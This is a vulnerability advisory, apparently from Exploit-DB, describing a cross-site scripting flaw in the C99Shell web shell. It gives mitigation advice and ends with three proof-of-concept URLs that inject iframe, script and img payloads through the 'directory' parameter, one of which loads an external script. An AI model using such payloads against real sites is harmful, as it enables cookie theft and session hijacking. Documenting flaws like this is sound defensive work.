Cross-Site Scripting Vulnerability in C99Shell

vendor:

C99Shell

by:

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: C99Shell

Affected Version From: 1.0 pre-release build 16

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Cross-Site Scripting Vulnerability in C99Shell

C99Shell is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in any output context. Implementing a strong input validation mechanism and encoding user-supplied data can help prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40134/info

C99Shell is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

C99Shell 1.0 pre-release build 16 is vulnerable; other versions may also be affected. 

http://www.example.com/Ch99.php?directory=<iframe/+/onload=alert(213771818860)></iframe>

http://www.example.com/Ch99.php?directory=<ScRiPt+bad=">"+src="http://127.0.0.1/16.js?213771818860"></ScRiPt>

http://www.example.com/Ch99.php?directory=<img+src=http://127.0.0.1/cars.jpg+onload=alert(213771818860)>